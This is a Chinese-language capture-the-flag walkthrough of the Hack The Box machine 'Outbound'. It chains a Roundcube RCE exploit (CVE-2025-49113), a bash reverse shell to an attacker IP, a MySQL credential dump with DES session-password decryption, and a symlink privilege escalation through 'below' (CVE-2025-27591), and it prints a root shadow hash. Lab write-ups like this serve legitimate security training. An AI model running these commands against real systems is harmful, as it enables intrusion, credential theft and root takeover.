基本信息
- https://app.hackthebox.com/machines/Outbound
- 10.10.11.77
1 | As is common in real life pentests, you will start the Outbound box with credentials for the following account tyler / LhKL1o9Nm3X2 |
端口扫描
22和80:
1 | nmap -sC -sV -Pn 10.10.11.77 |
80
需要加hosts:
1 | 10.10.11.77 outbound.htb mail.outbound.htb |
是一个Roundcube Webmail:
Roundcube
给出的账号密码可以登录,Roundcube Webmail 1.6.10:
- GitHub - hakaioffsec/CVE-2025-49113-exploit: Proof of Concept demonstrating Remote Code Execution through insecure deserialization in Roundcube (CVE-2025-49113).
https://github.com/hakaioffsec/CVE-2025-49113-exploit
shell
打到www-data:
1 | /bin/bash -i >& /dev/tcp/10.10.14.22/4444 0>&1 |
现在是在docker里,172.17.0.2
mysql to jacob
常规翻文件找到mysql认证信息以及des密钥:
1 | www-data@mail:/var/www/html/roundcube/config$ cat config.inc.php |
mysql中可以获取到jacob用户session,其中包含des加密的认证信息:
1 | mysql -u roundcube -pRCDBPass2025 -e 'use roundcube;select * from session;' |
根据搜索信息,找到解密方式:
- Decrypt password from session-vars
https://www.roundcubeforum.net/index.php?topic=23399.0
也可以用别人做好的脚本,解出jacob密码:
1 | $ python3 decrypt.py |
decrypt.py
1 | from base64 import b64decode |
jacob to user
现在得到的密码还不能直接ssh登录宿主机,但可以在容器内切换到jacob,然后邮件中得到第二个密码:
1 | jacob@mail:/var/mail$ cat jacob |
user flag
得到的新密码可以ssh登录外部宿主机:
提权信息
可以sudo运行特定的below命令,搜索可以发现below相关漏洞:
- oss-security - Below: World Writable Directory in /var/log/below Allows Local Privilege Escalation (CVE-2025-27591)
https://www.openwall.com/lists/oss-security/2025/03/12/1
所以就是通过软链接来写文件,例如passwd文件创建新用户
提权 & root flag
整个过程快速操作
1 | 新建用户信息 |
shadow
1 | root:$y$j9T$pYysWAL0lX2oSXNpBeXs81$yinIBrOJnhJj7viI.GiorNEgZFyIewJbS3qnjgXth16:20247:0:99999:7::: |
参考资料
- GitHub - hakaioffsec/CVE-2025-49113-exploit: Proof of Concept demonstrating Remote Code Execution through insecure deserialization in Roundcube (CVE-2025-49113).
https://github.com/hakaioffsec/CVE-2025-49113-exploit - Decrypt password from session-vars
https://www.roundcubeforum.net/index.php?topic=23399.0 - oss-security - Below: World Writable Directory in /var/log/below Allows Local Privilege Escalation (CVE-2025-27591)
https://www.openwall.com/lists/oss-security/2025/03/12/1